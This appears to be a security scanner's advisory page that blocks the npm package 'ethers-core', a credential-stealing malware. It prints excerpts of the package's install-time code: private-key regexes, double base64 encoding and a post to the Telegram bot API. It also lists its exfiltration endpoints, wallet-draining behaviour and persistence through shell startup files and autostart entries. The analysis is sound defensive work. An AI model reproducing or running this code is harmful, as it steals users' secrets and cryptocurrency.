ethers-core: Credential exfiltration – 2 npm versions blocked

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct source inspection confirms an unconsented install-time malicious chain: secret theft, exfiltration, cryptocurrency draining, and persistence. This is unrelated to the package’s claimed ethers utility purpose.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm installation, via the `postinstall` lifecycle hook

Impact

Secrets and private keys can be stolen; cryptocurrency can be transferred; future shell sessions and desktop login can execute a dropped payload.

Mechanism

install-time credential harvesting, exfiltration, wallet draining, and persistence

Attack narrative

On npm installation, `postinstall` executes `dist/index.min.js`. The entrypoint reads configured environment variables and credential/wallet files, exfiltrates the result to Telegram and a webhook, then uses discovered private keys to send ETH or BTC to configured recipient wallets. It also modifies shell startup files, creates a desktop autostart entry, and drops a recurring curl-based payload.

AI rationale

Direct source inspection confirms an unconsented install-time malicious chain: secret theft, exfiltration, cryptocurrency draining, and persistence. This is unrelated to the package’s claimed ethers utility purpose.

Evidence

package.jsondist/index.min.jsconfig/attacker-config.json.bashrc.zshrc.profile.config/autostart/sys-core.desktop/tmp/sys-core.js

Network endpoints5

api.telegram.orgcloudflare-eth.comblockchain.info/unspentblockchain.info/pushtxwebhook.site/YOUR_ID

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` runs `node dist/index.min.js` in `postinstall`.
`dist/index.min.js` reads selected environment secrets and home-directory credential/wallet files.
`dist/index.min.js` double-encodes collected data and sends it to Telegram and a configured webhook.
`dist/index.min.js` uses harvested private keys to transfer ETH/BTC to configured attacker wallets.
`dist/index.min.js` appends shell startup files and drops an autostart entry plus `/tmp/sys-core.js`.
`config/attacker-config.json` defines secret targets, exfiltration configuration, and recipient wallets.

Evidence against

No source facts support the stated ethers utility purpose.
No user command, opt-in, or guard protects the install-time behavior.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStringsMinifiedUrlStrings

Source & flagged code

4 flagged

package.jsonView file

•scripts.postinstall = node dist/index.min.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/index.min.jsView file

3const os = require('os'); L4: const axios = require('axios'); L5: const { ethers } = require('ethers'); ... L13: let m; L14: while ((m = hexRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'ETH', value: m[0] }); L15: while ((m = wifRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'BTC', value: m[0] }); ... L19: function doubleEncode(data) { L20: return Buffer.from(Buffer.from(JSON.stringify(data)).toString('base64')).toString('base64'); L21: } ... L24: try { L25: await axios.post(`https://api.telegram.org/bot${botToken}/sendMessage`, { L26: chat_id: chatId,

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

dist/index.min.jsView on unpkg · L3

3Trigger-reachable chain: scripts.postinstall -> dist/index.min.js L3: const os = require('os'); L4: const axios = require('axios'); L5: const { ethers } = require('ethers'); ... L13: let m; L14: while ((m = hexRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'ETH', value: m[0] }); L15: while ((m = wifRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'BTC', value: m[0] }); ... L19: function doubleEncode(data) { L20: return Buffer.from(Buffer.from(JSON.stringify(data)).toString('base64')).toString('base64'); L21: } ... L24: try { L25: await axios.post(`https://api.telegram.org/bot${botToken}/sendMessage`, { L26: chat_id: chatId,

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/index.min.jsView on unpkg · L3

3const os = require('os'); L4: const axios = require('axios'); L5: const { ethers } = require('ethers'); ... L13: let m; L14: while ((m = hexRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'ETH', value: m[0] }); L15: while ((m = wifRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'BTC', value: m[0] }); ... L19: function doubleEncode(data) { L20: return Buffer.from(Buffer.from(JSON.stringify(data)).toString('base64')).toString('base64'); L21: } ... L24: try { L25: await axios.post(`https://api.telegram.org/bot${botToken}/sendMessage`, { L26: chat_id: chatId,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

dist/index.min.jsView on unpkg · L3

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.postinstall = node dist/index.min.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/index.min.jsView file

3const os = require('os'); L4: const axios = require('axios'); L5: const { ethers } = require('ethers'); ... L13: let m; L14: while ((m = hexRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'ETH', value: m[0] }); L15: while ((m = wifRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'BTC', value: m[0] }); ... L19: function doubleEncode(data) { L20: return Buffer.from(Buffer.from(JSON.stringify(data)).toString('base64')).toString('base64'); L21: } ... L24: try { L25: await axios.post(`https://api.telegram.org/bot${botToken}/sendMessage`, { L26: chat_id: chatId,

Critical

Persistence Backdoor

Source writes persistence or remote-access backdoor material.

dist/index.min.jsView on unpkg · L3

3Trigger-reachable chain: scripts.postinstall -> dist/index.min.js L3: const os = require('os'); L4: const axios = require('axios'); L5: const { ethers } = require('ethers'); ... L13: let m; L14: while ((m = hexRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'ETH', value: m[0] }); L15: while ((m = wifRegex.exec(text)) !== null) results.push({ type: 'private_key', keyType: 'BTC', value: m[0] }); ... L19: function doubleEncode(data) { L20: return Buffer.from(Buffer.from(JSON.stringify(data)).toString('base64')).toString('base64'); L21: } ... L24: try { L25: await axios.post(`https://api.telegram.org/bot${botToken}/sendMessage`, { L26: chat_id: chatId,

Findings

2 Critical2 High3 Medium4 Low

CriticalPersistence Backdoordist/index.min.js

CriticalTrigger Reachable Dangerous Capabilitydist/index.min.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationdist/index.min.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

ethers-core

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Behavioral surface

Source & flagged code

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Source & flagged code

Related packages

Other credential exfiltration packages